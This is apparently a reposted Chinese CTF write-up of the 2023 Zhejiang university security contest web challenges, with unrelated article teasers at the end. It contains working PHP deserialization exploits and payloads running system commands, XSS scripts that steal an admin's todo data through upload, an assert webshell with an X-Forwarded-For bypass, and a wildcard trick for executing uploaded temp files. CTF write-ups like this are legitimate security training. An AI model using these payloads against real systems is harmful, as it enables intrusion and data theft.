第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup

news2024/10/6 14:30:34

-------------------【初赛】-------------------

easy php

简单反序列化

image-20231104152452436

__debuginfo()魔术方法打印所需调试信息,反序列化时候执行

链子如下:

BBB::__debuginfo()->CCC::__toString()->AAA::__call()

EXP:

<?php
highlight_file(__FILE__);
class AAA{
    public $cmd;

    public function __call($name, $arguments){
        eval($this->cmd);
        return "done";
    }
}

class BBB{
    public $param1;

    public function __debuginfo(){
        return [
            'debugInfo' => 'param1' . $this->param1
        ];
    }
}

class CCC{
    public $func;

    public function __toString(){
        var_dump("aaa");
        $this->func->aaa();
    }
}

$a=new BBB();
$a->param1=new CCC();

$a->param1->func=new AAA();
$a->param1->func->cmd='system(\'tac /flag\');';

$aaa=serialize($a);
echo $aaa;
unserialize($aaa);

?>

payload:

/?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('tac /flag');";}}}

image-20231104152505802

注:这题本地运行不通,但是远程能打通。

my2do

好题好题,学学线下怎么打XSS。

源码如下:

app.js

const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(session({
    secret: crypto.randomBytes(16).toString('hex'),
    resave: false,
    saveUninitialized: false,
    cookie:{
        httpOnly: true
    }
}));
const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, 'public/uploads');
    },
    filename: function (req, file, cb) {
        cb(null, file.originalname);
    },
});

const upload = multer({ storage: storage });
app.use(express.static('public'));


const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';

const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});

app.get("/", function (req, res) {
    if (req.session.username) return res.redirect('/todo');
    res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});

app.get("/todo",function (req, res) {

    if (!req.session.username) return res.redirect('/');
    let username = req.session.username;
    res.render('todo', {
        nonce: crypto.randomBytes(16).toString('hex'),
        username: username,
        todos: db.get(username).todos
    })
});

app.get("/api/logout", function (req, res) {
    req.session.destroy();
    return res.redirect('/');
});

app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {

    const { text } = req.body || req.query;
    if (!req.session.username) return res.json({ error: "Login first!" });
    let username = req.session.username;
    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });

    if (!text || typeof text !== "string") {
        return res.json({error: "Missing text"});
    }

    let isURL = false;
    if (RegExp('^https?://.*$').test(text)) {
        isURL = true;
    }

    db.get(username).todos.push({text: text, isURL: isURL});
    return res.json({ success: true });
});

app.post("/api/register", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (db.has(username)) return res.json({ error: "User already exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');

    db.set(username, {password: hash, todos: []});
    req.session.username = username;
    return res.json({ success: true });
});

app.post("/api/login", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');
    if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });

    req.session.username = username;
    return res.json({ success: true });
});

//deving........//其实可以上传的
app.post('/api/upload', upload.single('file'), (req, res) => {

    return res.send('文件上传成功!');
});




app.post("/api/report", express.json({ type: Object }), function (req, res) {

    if (!req.session.username) return res.send("Login first!");
    //延时
    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
    }

    reportIpsList.set(req.ip,now());
    const { url } = req.body;
    if (typeof url !== 'string') return res.send("Invalid URL");

    //只能访问http://127.0.0.1/xxxxx
    if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
        return res.status(400).send('Invalid URL');
    }
    try {
        vist(url);
        return res.send("admin has visted your url");
    } catch {
        return res.send("some error!");
    }
});

app.listen(80, () => {console.log(`app run in ${80}`)});

bot.js

const puppeteer = require("puppeteer");

const SITE = process.env.SITE || 'http://localhost';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';

const visit = async url => {
    var browser;
	try {
		    browser = await puppeteer.launch({
			headless: true,
			executablePath: "/usr/bin/chromium",
			args: ['--no-sandbox']
		  });

        page = await browser.newPage();
		
		await page.goto(SITE);
		await page.waitForTimeout(500);

		await page.type('#username', 'admin');
		await page.type('#password', ADMIN_PASSWORD);
		await page.click('#btn')
		await page.waitForTimeout(800);

		await page.goto(url);
		await page.waitForTimeout(3000);

		await browser.close();

	} catch (e) {
		console.log(e);
	} finally {
		if (browser) await browser.close();
	}
}

module.exports = visit

可以记ToDo,flag就是admin的ToDo

image-20231104174229186

系统功能如下:

1、用户可以记录todo

2、用户可以指定http://127.0.0.1/xxx网址让admin访问

3、用户可以在/api/upload路由上传文件,在/upload/路由下访问上传的文件

admin的todo数据获取方法如下(Elements中尝试得到)

document.getElementsByClassName('has-text-left')[2].innerHTML

但是当时是内网打题,不出网带不出数据。其实是可以带出的,即使不用VPS。

思路:XSS。html中js代码获取admin的todo,并且以get参数形式访问/upload下的另一个html文件,另一个html文件也嵌套js,接受get参数和内容(flag)并且写入/upload路由下的1.txt文件中

其他师傅的wp

uploads/jump.html

<!DOCTYPE html>
<html>

<head>
</head>

<body>
    <script>
        location.href='http://localhost/uploads/e.html'
    </script>
</body>

</html>

uploads/e.html

<!DOCTYPE html>
<html>

<head>
</head>

<body>
    <script>
        let content = ''
        fetch('/todo', {
            method: 'GET',
        }).then(res => {
            res.text().then((data) => {
                content = data;
            }).then(() => {
                let formdata = new FormData();
                let blob = new Blob([content],{type:"text/plain"});
                formdata.append("file",blob,"flaga");
                var requestOptions = {
                    method: 'POST',
                    body: formdata,
                    redirect: 'follow'
                };
                fetch('/api/upload', requestOptions);
            })
        })
    </script>
</body>

</html>

先跳转改host到localhost

然后访问并上传admin的notes

最后读取/uploads/flaga

0RAY的wp

<script>
    if(document.domain != "localhost") {
      location = "http://localhost/uploads/attack.html";
    }else{
      fetch("/todo", {method: "GET", credentials: "include"})
      .then(res => res.text())
      .then(data => {
        var blob = new Blob([data], { type: 'text/plain' });
        var formData = new FormData();
        formData.append('file', blob, 'result.txt');
        fetch('/api/upload', {
          method: 'POST',
          body: formData,
        });});
}
</script>

can you read flag

要拿到shell很简单,写个转接头?a=eval($_POST[1])连蚁剑或者直接getshell就行啦。

源码如下

<?php
#error_reporting(0);
$blacklist=['y','sh','print','printf','cat','tac','read','vim','curl','ftp','glob','flag','\|','`'];
foreach ($blacklist as $black) {
        if (stristr($_GET['a'], $black)) {
            die("hacker?");
        }
    }
eval($_GET['a']);
?>

难度在/flag我们没有读取权限,但是根目录下有个可执行文件/readflag,有权限读取flag。

我们把/readflag丢给PWN爷爷:

image-20231114144346507

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  FILE *v5; // rax
  int v6; // [rsp+8h] [rbp-118h] BYREF
  char v7; // [rsp+Fh] [rbp-111h] BYREF
  char v8[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned int v9; // [rsp+110h] [rbp-10h]
  unsigned int v10; // [rsp+114h] [rbp-Ch]
  int v11; // [rsp+118h] [rbp-8h]
  int i; // [rsp+11Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  puts("You want flag? (y/n)");
  fflush(_bss_start);
  __isoc99_scanf("%c", &v7);
  if ( v7 != 121 )
    return 1;
  puts("But you need to do some calcs:");
  fflush(_bss_start);
  v11 = rand() % 101 + 100;
  for ( i = 0; i < v11; ++i )
  {
    v10 = rand() % 1000000;
    v9 = rand() % 9000000;
    printf("%d+%d = ?\n", v10, v9);
    fflush(_bss_start);
    __isoc99_scanf("%d", &v6);
    if ( v9 + v10 != v6 )
      return 1;
  }
  v5 = fopen("/flag", "r");
  __isoc99_fscanf(v5, "%s", v8);
  printf("here you are:%s", v8);
  fflush(_bss_start);
  return 0;
}

大概能看懂源码的意思,随机进行100-200次加法,如果都做对的就返回flag。由于没有交互式shell,我们不能一次次的输入,只能一次性把答案都输入进去。(反弹shell得到的shell是交互式的,蚁剑虚拟终端不是)

随机数种子是时间,秒为单位,可以预测一次性echo进去拿到flag。

来自0RAY的wp:

/tmp/src目录下可以发现题目 /readflag 的源码,其随机数生成有缺陷,种子是time(0),因此可以写一个c语言程序,得到10秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查

构造的exp.c文件

int main(){
        unsigned int v3 = time(0)+10;
        unsigned int v9;
        unsigned int v10;
        srand(v3);
        int v11 = rand() % 101 + 100;
        printf("y\n");
        for (int i = 0; i < v11; ++i){
                v10 = rand() % 1000000;
                v9 = rand() % 9000000;
                printf("%d\n", v10+v9);
        }
}

由于根目录我们无写入权限,因此我们把exp文件写入/tmp目录下。复现环境是自己的vps。

命令如下:

gcc -o exp exp.c
ls
./exp > a
/readflag<a
/readflag<a
/readflag<a
...
一直输入这个命令
...
/readflag<a

以上的命令需要连贯执行。

顺便解释一下:

我们初始的c脚本时间种子是十秒后,在哪个的十秒后呢?不是执行之后的第十秒,是编译后的第十秒。编译后运行,把结果导出到文件a,然后我们一直把a文件中的内容重定向到可执行文件/readflag(传递给某个程序或脚本进行处理)。

image-20231114201557741

MISC-number game

Ctrl+U查看源码,有一个js文件,js源码有加密。

image-20231104160406894

放到本地,分析一下

image-20231104160434552

没看懂游戏的意思,但是源码意思大概能看懂一点。flag应该是通过roll函数中的alert()输出,但是有if,限制了条件。

我们把if去掉。放到题目控制台跑一下,出flag。

image-20231104160614714

secObj***

题目给了jar包,大头哥做了环境。之后复现。。。

https://mp.weixin.qq.com/s/BWIae7s8QP6KE0jq_IM5JA

文件上传当时没出,后缀限制一直过不去。

image-20231104154907561

image-20231104183117323

-------------------【决赛】-------------------

image-20231111092925942

p2rce

源码给了。

<?php
error_reporting(0);

class CCC {
    public $c;
    public $a;
    public $b;

    public function __destruct()
    {
        $this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
    }
}

class AAA {
    public $s;
    public $a;

    public function __toString()
    {
        $p = $this->a;
        return $this->s->$p;
    }
}


class BBB {
    private $b;
    public function __get($name)
    {
        if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
            global $flag;
            $flag = $this->b;
            return 'ok';
        } else {
            return '<br/>get it!!'; 
        }
    }
}


if(isset($_GET['ctf'])) {
    if(preg_match('/flag/i', $_GET['ctf'])) {
       die('nonono');
    }
    $a = unserialize($_GET['ctf']);
    system($flag);
    throw new Exception("goaway!!!");
} else {
    highlight_file(__FILE__);
}

反序列化需要注意使用GC回收机制过滤flag,用变量引用

给个EXP:

<?php
error_reporting(0);

class CCC {
    public $c;
    public $a;
    public $b;

    public function __destruct()//1
    {
        $this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
    }
}

class AAA {
    public $s;
    public $a;

    public function __toString()//2
    {
        $p = $this->a;
        return $this->s->$p;
    }
}


class BBB {
    public $b;
    public function __get($name)
    {
        if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
            global $flag;
            $flag = $this->b;      //要执行的命令
            return 'ok';
        } else {
            return '<br/>get it!!';
        }
    }
}

//GC回收机制
//过滤flag,用变量引用

$a=new CCC();
$a->a=&$a->b;

$a->c=new AAA();
$a->c->s=new BBB();
$a->c->a='c';
$a->c->s->b='/???/????????[@-[]';  //匹配/tmp/phpxxxxxx


echo serialize($a);

unserialize($a);

剩下的参考我下面这篇wp:

-----------------------------------------------【私教web13】-----------------------------------------------

直接给了源码。

image-20230704191145474

他是命令执行不是代码执行,不能进行异或/拼接等操作。

【强制文件上传下的无字母数字RCE】

这题考PHP强制文件上传机制。

PHP超全局变量如下

$_GET      //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES     //存放所有文件

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中

这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。

题目中正则匹配过滤了大小写字母(i)和数字。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/???

/???/???范围太大了,我们如何缩小范围呢。

查看ascii码表,A前面是@,Z后面是[

/???/???[@-[]

就表示了最后一位是大写

当临时文件最后一位是大写字母时/???/????????[@-[]就能匹配到这个文件

linux中 . 代表执行一个文件。

如果上传的文件是一个shell脚本,那么. /???/???[@-[]就能执行这个shell脚本,实现RCE。

如何强制上传文件?

我们可以在vps上写一个表单文件

upload.html

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

访问vps上的upload.html

image-20230704193344921

上传内容为whoami的txt文件。同时抓包。

image-20230704193602196

改一下包。发现能正常执行了,并且返回了结果。

image-20230704194000425

获得flag。(成功的概率,就是最后一位是大写的概率是26/26+26+10,多发几次包就行了)

image-20230704194109085

-----------------------------------------------【私教web13】-----------------------------------------------

easy serialize

开局给源码:

<?php
//flag is in /flag.php
error_reporting(0);
class baby{
    public $var;
    public $var2;
    public $var3;

    public function learn($key){
        echo 222;
        echo file_get_contents(__DIR__.$key);//$key=flag
    }

    public function getAge(){//2
        return $this->var2->var3;
    }

    //__isset(),当对不可访问属性调用isset()或empty()时调用
    public function __isset($var){
        $this->learn($var);
    }

    //__invoke(),调用函数的方式调用一个对象时的回应方法
    public function __invoke(){
        return $this->learn($this->var);
    }

    public function __wakeup(){//1
        $this->getAge();
    }
}

class young{
    public $var;

    public function __toString(){
        return ($this->var)();
    }
}

class old{
    public $var;

    public function __get($key){
        echo 111;
        return "Okay, you get the key, but we send you ".$this->var;
    }
}

POP链如下:

baby::__wakeup()->
baby::getAge()->
old::__get->
young::__toString()->
baby::__invoke()->
baby::learn($key)

EXP如下:

<?php
//flag is in /flag.php
error_reporting(0);
class baby{
    public $var;
    public $var2;
    public $var3;

    public function learn($key){
        echo 222;
        echo file_get_contents(__DIR__.$key);//$key=flag
    }

    public function getAge(){//2
        return $this->var2->var3;
    }

    //__isset(),当对不可访问属性调用isset()或empty()时调用
    public function __isset($var){
        $this->learn($var);
    }

    //__invoke(),调用函数的方式调用一个对象时的回应方法
    public function __invoke(){
        return $this->learn($this->var);
    }

    public function __wakeup(){//1
        $this->getAge();
    }
}

class young{
    public $var;

    public function __toString(){
        return ($this->var)();
    }
}

class old{
    public $var;

    public function __get($key){
        echo 111;
        return "Okay, you get the key, but we send you ".$this->var;
    }
}


//baby::__wakeup()->
//baby::getAge()->
//old::__get->
//young::__toString()->
//baby::__invoke()->
//baby::learn($key)

$a=new baby();
$a->var2=new old();
$a->var3='xxx';

$a->var2->var=new young();

$a->var2->var->var=new baby();

$a->var2->var->var->var='/../../../../../../var/www/html/flag.php';

$b=serialize($a);
echo $b;
unserialize($b);


?>

注意点:__DIR__是当前目录,测试代码如下:

image-20231112044324591

带入反序列化中存在目录穿越漏洞。

payload:

?age=O:4:"baby":3:{s:3:"var";N;s:4:"var2";O:3:"old":1:{s:3:"var";O:5:"young":1:{s:3:"var";O:4:"baby":3:{s:3:"var";s:40:"/../../../../../../var/www/html/flag.php";s:4:"var2";N;s:4:"var3";N;}}}s:4:"var3";s:3:"xxx";}

flag在源码里面:

image-20231112014627118

baby md5

直接给了源码:

index.php

<?php
error_reporting(0);
require_once 'check.php';

if (isRequestFromLocal()) {
    echo 'hello!';
    $a = $_GET['cmd'];
    $b = $_GET['key1'];
    $c = $_GET['key2'];
    if(!preg_match("/eval|shell_exec|system|proc_open|popen|pcntl_exec|\'|cat|include|whoami/i",$a)){
        if(md5($b) == md5($c)){
            eval($a);
        }
    }else{
        echo 'Oh no, you are hacker!!!';
    }
} else {
    die("failed");
}
?>

check.php:

<?php
error_reporting(0);
function isRequestFromLocal() {
    // 定义本地IP地址
    $localIP = '127.0.0.1';

    // 获取客户端IP地址
    $clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];

    // 比较客户端IP地址与本地IP地址
    if ($clientIP === $localIP) {
        // 请求来自本地
        return true;
    } else {
        // 请求不来自本地
        return false;
    }
}
?>

写个转接头就没有限制了。

payload:

GET:?cmd=assert($_POST[1]);
POST:key1[]=1&key2[]=3&1=system('tac /flag');
X-Forwarded-For:127.0.0.1

image-20231112014540177

babybabyweb

有点点脑洞。。。

开局是个登录界面

image-20231112011144254

随便一个用户名aaa登录后,会显示我们不是admin。应该是身份伪造。

image-20231112012118089

访问一下/admin路由,发现我们的cookie变了,但是还是不能变成admin身份,估计就是把我们cookie里面带有的信息中的名字改成admin。

image-20231112012354798

尝试解密cookie:gASVLgAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjANhYWGUjAVhZG1pbpSJdWIu

发现不能完全解密或者是解密后的明文中带有不可见字符:

image-20231112012518010

从解密后的零零散散的信息中看出cookie携带的信息其实没变。。。。

好奇他的工作原理。如何解密成为了一个问题。赛后问了0RAYS的师傅,cookie是pickle反序列化后base64编码的字符串,可以直接执行命令。。。。

好吧,我认,唯一能推断是pickle反序列化的估计就是解密后的明文中带有不可见字符了吧。

0RAY的wp:

base64 解码后明显是 pickle 序列化的数据,直接打个 pickle 反序列化 rce 即可

内网和题目是通的,本地 python -m http.server 4444 开个监听

然后生成的 cookie 替换下发过去即可 rce 外带出 flag

Server-Side Read File***

一个java题。绕过云waf、SSRF、目录穿越、本地文件读取。

https://mp.weixin.qq.com/s/aG8MxxIslpFmI3WE15jC3Q

easy sql***

题目描述:端口号:8081。mysql8注入

登陆界面可以万能密码登录,有过滤,fuzz如下:

image-20231111121359916

ezWEB***

300分的困难java。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1211882.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汽配零件发FBA美国专线

随着电商的迅速发展&#xff0c;跨境电商平台如亚马逊的FBA(Fulfillment by Amazon)服务成为了许多商家选择的销售渠道。对于汽配零件行业来说&#xff0c;发FBA美国专线可以打开更广阔的市场&#xff0c;并且有望获得可观的发展前景。下面将从市场分析和前景两个方面来探讨汽配…

多目标跟踪指标

Avg rank This is the rank of each tracker averaged over all present evaluaion measures 这是每个跟踪器在所有现有评估指标上的平均排名。 MOTA Multiple Object Tracking Accuracy This measure combines three error sources &#xff1a;false positives&#xf…

报错缺少class(org.apache.hadoop.hdfs.DistributedFileSystem)

平台报错缺少 java.lang.RuntimeException:java.lang.ClassNotFoundException: Class org.apache.hadoop.hdfs.DistributedFileSystem not found 实则是缺少jar包 hadoop-hdfs-client-3.1.1.3.1.0.0-78.jar 找到对应的jar放到程序的lib中即可

2023 年是无代码的一年,还要程序员吗?

从 Code 到 No Code&#xff0c;IT 界对简化代码开发的需求由来已久&#xff1a;过去数十年的发展历程中&#xff0c;在企业应用程序开发上&#xff0c;我们研发出工作流、智能业务流程管理系统、低代码/无代码、还有高生产力应用程序平台等应用开发形式。 有一句话在 IT 界流…

海康设备、LiveNVR等通过GB35114国密协议对接到LiveGBS GB28181/GB35114平台的详细操作说明

一、LiveNVR通过GB35114接入LiveGBS 1.1 开启LiveGBS 35114功能 信令服务livecms.ini配置文件中[sip]增加一行gm1 启动LiveCMS 1.2 生成设备端证书 我们用LiveNVR做为设备端向LiveGBS注册&#xff0c;这里先生成LiveNVR的设备证书&#xff0c;并将LiveNVR的设备证书给LiveGB…

人工智能基础_机器学习036_多项式回归升维实战3_使用线性回归模型_对天猫双十一销量数据进行预测_拟合---人工智能工作笔记0076

首先我们拿到双十一从2009年到2018年的数据 可以看到上面是代码,我们自己去写一下 首先导包,和准备数据 from sklearn.linear_model import SGDRegressor import numpy as np import matplotlib.pyplot as plt X=np.arange(2009.2020)#左闭右开,2009到2019 获取从2009到202…

中国人民大学与加拿大女王大学金融硕士——人生下半场,用实力为自己“撑腰”

人生如同一场漫长的旅程&#xff0c;每个人都在不断地前行&#xff0c;经历着种种的人生阶段。当我们迈入人生的下半场&#xff0c;我们不再是无知少年&#xff0c;而是逐渐成为社会的中坚力量。在这个阶段&#xff0c;我们不仅要面对更多的挑战和压力&#xff0c;还需要用实力…

等保到底在“保”什么?

在信息时代&#xff0c;等保评级成为衡量企业信息安全水平的重要标准。那么&#xff0c;什么是等保评级呢&#xff1f;等保合规到底保的是什么呢&#xff1f;一起来看看吧。 编辑搜图 请点击输入图片描述&#xff08;最多18字&#xff09; 等保评级&#xff0c;会从七个维度进…

总结 MyBatis 的XML实现方法(使用XML使用实现数据的增删改查操作)

MyBatis是一个优秀的持久层框架&#xff0c;它的XML配置文件是实现数据库操作的关键之一。通过XML文件&#xff0c;可以定义SQL语句、映射关系和一些高级功能。下面将探讨下如何使用MyBatis的XML配置文件实现数据的增、删、改、查操作。 1.配置文件 首先要确保 mybatis-confi…

基于MS16F3211芯片的触摸控制灯的状态变化和亮度控制(11.15)

1.任务所需实现基本功能 关机状态时白灯亮蓝灯灭&#xff0c;此时长按按键无反应&#xff0c;白灯亮度降低的状态&#xff0c;蓝灯保持灭的状态。点按按键一次&#xff0c;白灯熄灭&#xff0c;蓝灯亮此时W引脚控制的灯亮。继续点按按键。蓝灯亮&#xff0c;此时W引脚控制的灯…

OSPF常用配置例子

拓朴图如下&#xff1a; 配置步骤&#xff1a; 1.配置IP 2.ospf多区域配置 *Tips&#xff1a;undo info-center enable 关闭信息回显 3.出口设备注入默认路由&#xff08;完成标志是各路由器学习到默认路由&#xff0c;下发默认路由&#xff09; R1]default-route-adve…

HTTP代理与SOCKS5代理,有什么区别?

在数字通信领域&#xff0c;数据安全和匿名性都是非常重要的指标。互联网的不断发展催生了几种协议&#xff0c;每种协议都有独特的优势和挑战。其中&#xff0c;SOCKS5 代理、HTTP代理最为广泛使用&#xff0c;下面给大家一起讨论&#xff0c;HTTP代理与SOCKS5代理&#xff0c…

《洛谷深入浅出进阶篇》 P1496火烧赤壁——初识离散化

上链接&#xff1a; P1496 火烧赤壁 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P1496上题干&#xff1a; 有一组序列&#xff0c;[-2^31,2^31] &#xff0c; 现在给你n次操作&#xff0c;每一次操作给出两个整数l&#xff0c;r&#xff…

设计测试用例的6种基本原则

设计测试用例的基本原则&#xff0c;对于软件测试非常重要&#xff0c;这些原则有助于设计出高质量、全面、有效的测试用例&#xff0c;从而提高软件测试的效率和准确性&#xff0c;维护软件的质量和稳定。如果在设计用例时没有遵循基本原则&#xff0c;这会影响用例的全面性、…

openGauss学习笔记-124 openGauss 数据库管理-设置账本数据库-查看账本历史操作记录

文章目录 openGauss学习笔记-124 openGauss 数据库管理-设置账本数据库-查看账本历史操作记录124.1 前提条件124.2 背景信息124.3 操作步骤 openGauss学习笔记-124 openGauss 数据库管理-设置账本数据库-查看账本历史操作记录 124.1 前提条件 系统中需要有审计管理员或者具有…

DevEco studio配置自己的虚拟环境

开始使用DevEco studio时使用的时华为预置的手机&#xff0c;通过网络访问&#xff0c;但是近期发现有两点问题 网络不稳定的时候机器很卡现在资源很难使用 DevEco提供了自定义环境的搭建&#xff0c;从而解决上面的问题 这里有几点问题需要硬盘至少10G空闲&#xff08;应该问题…

06 robotFrameWork+selenium2Library KiLL清理进程

1、新建bat文件&#xff1a;kill.bat 2、文件中添加&#xff1a; taskkill /F /IM IEDriverServer.exe taskkill /F /IM iexplore.exe taskkill /F /IM chrome.exe taskkill /F /IM chromedriver.exe 3、新建的关键字中&#xff0c;调用kill.bat OperatingSystem.Run ${CU…

调研了一下java常用的几个图片处理工具对Tiff文件的支持

ImageMagick 官网 https://imagemagick.org/&#xff0c; 支持多种格式。命令行工具很适合调试。功能很强大. 还有一款工具GraphicsMagick 是从ImageMagick的基础上研发出来的。 OpenCV 官网 https://opencv.org/ &#xff0c; github地址https://github.com/opencv/opencv&…

iOS WKWebView H5微信、支付宝支付跳转

iOS客户端实现嵌入H5进行支付跳转到客户端&#xff0c;支付完成后再跳转回自己的App时,解决WKWebView无法跳转回APP的BUG. 一、支付宝 - (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void…

如何挑选猫主食罐头?宠物店自用的5款猫主食罐头推荐!

临近双十二大促&#xff0c;是时候给家里的猫主子屯猫主食罐头了。许多铲屎官看大促的各种品牌宣传&#xff0c;看到眼花缭乱&#xff0c;不知道选哪些猫主食罐头好&#xff0c;胡乱选又怕踩坑。 猫罐头侠闪亮登场&#xff01;如何挑选猫主食罐头&#xff1f;作为经营宠物店7年…